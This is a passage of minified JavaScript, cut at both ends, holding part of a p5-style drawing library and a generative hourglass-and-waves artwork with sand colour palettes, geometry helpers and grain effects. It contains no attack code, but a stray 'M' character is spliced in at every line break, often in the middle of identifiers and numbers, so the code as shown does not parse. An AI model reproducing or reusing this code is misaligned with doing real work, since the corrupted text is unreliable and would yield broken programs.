),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
